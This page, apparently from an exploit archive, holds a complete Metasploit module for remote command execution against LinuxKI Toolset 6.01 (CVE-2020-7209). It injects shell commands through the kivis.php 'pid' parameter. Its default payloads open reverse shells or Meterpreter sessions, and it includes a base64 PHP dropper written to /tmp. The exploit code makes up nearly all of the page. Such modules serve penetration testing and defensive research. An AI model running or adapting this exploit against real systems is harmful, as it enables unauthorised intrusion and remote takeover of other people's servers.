LinuxKI Toolset 6.01 Remote Command Execution

2020.06.10
Credit: numan turle
Risk: High
Local: No
Remote: Yes
CVE: N/A
CWE: CWE-78

## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::PhpEXE include Msf::Exploit::FileDropper include Msf::Exploit::CmdStager def initialize(info = {}) super( update_info( info, 'Name' => 'LinuxKI Toolset 6.01 Remote Command Execution', 'Description' => %q{ This module exploits a vulnerability in LinuxKI Toolset <= 6.01 which allows remote code execution. The kivis.php pid parameter received from the user is sent to the shell_exec function, resulting in security vulnerability. }, 'License' => MSF_LICENSE, 'Author' => [ 'Cody Winkler', # discovery and poc 'numan türle' # msf exploit ], 'References' => [ ['EDB', '48483'], ['CVE', '2020-7209'], ['PACKETSTORM', '157739'], ['URL', 'https://github.com/HewlettPackard/LinuxKI/commit/10bef483d92a85a13a59ca65a288818e92f80d78'] ], 'Privileged' => false, 'Platform' => ['php', 'unix', 'linux'], 'Arch' => [ARCH_PHP, ARCH_CMD, ARCH_X86, ARCH_X64], 'Targets' => [ [ 'Automatic (PHP In-Memory)', 'Platform' => 'php', 'Arch' => ARCH_PHP, 'Type' => :php_memory, 'Payload' => { 'BadChars' => "'" }, 'DefaultOptions' => { 'PAYLOAD' => 'php/meterpreter/reverse_tcp' } ], [ 'Automatic (PHP Dropper)', 'Platform' => 'php', 'Arch' => ARCH_PHP, 'Type' => :php_dropper, 'DefaultOptions' => { 'PAYLOAD' => 'php/meterpreter/reverse_tcp' } ], [ 'Automatic (Unix In-Memory)', 'Platform' => 'unix', 'Arch' => ARCH_CMD, 'Type' => :unix_memory, 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_bash' } ], [ 'Automatic (Linux Dropper)', 'Platform' => 'linux', 'Arch' => [ARCH_X86, ARCH_X64], 'Type' => :linux_dropper, 'DefaultOptions' => { 'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp' } ] ], 'DisclosureDate' => 'May 17 2020', 'DefaultTarget' => 0 ) ) register_options([ OptString.new('TARGETURI', [true, 'The path to the web application', '/']), ]) register_advanced_options([ OptBool.new('ForceExploit', [false, 'Override check result', false]), OptString.new('WritableDir', [true, 'Writable dir for droppers', '/tmp']) ]) end def check findstr = rand_str res = execute_command("echo '#{findstr}'") fail_with(Failure::UnexpectedReply, "#{peer} - Could not connect to web service - no response") if res.nil? fail_with(Failure::UnexpectedReply, "#{peer} - Check URI Path, unexpected HTTP response code: #{res.code}") if (res.code == 404) || (res.code == 403) if (res.code == 200) && res.body.include?(findstr) return CheckCode::Vulnerable end CheckCode::Safe rescue ::Rex::ConnectionError fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service") end def execute_command(cmd, _opts = {}) send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'linuxki/experimental/vis/', 'kivis.php'), 'vars_get' => { 'type' => 'kitrace', 'pid' => "1;#{cmd};" } }) rescue ::Rex::ConnectionError fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service") end def exploit unless datastore['ForceExploit'] if check == CheckCode::Safe fail_with(Failure::NotVulnerable, 'Set ForceExploit to override') end end print_status("Executing #{target.name} target") print_status('Sending payload...') case target['Type'] when :php_memory execute_command("php -r '#{payload.encoded}'") when :unix_memory execute_command(payload.encoded) when :linux_dropper execute_cmdstager(linemax: 1_500) when :php_dropper dropper end end def dropper php_file = "#{rand_str}.php" tmp_file = Pathname.new( "#{datastore['WritableDir']}/#{php_file}" ).cleanpath dropper = get_write_exec_payload( writable_path: datastore['WritableDir'], unlink_self: true # Worth a shot ) dropper = Rex::Text.encode_base64(dropper) register_file_for_cleanup(tmp_file) execute_command("echo #{dropper} | base64 -d | tee #{tmp_file}") execute_command("php #{tmp_file}") end def rand_str Rex::Text.rand_text_alphanumeric(8..42) end end


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2020, cxsecurity.com

 

Back to Top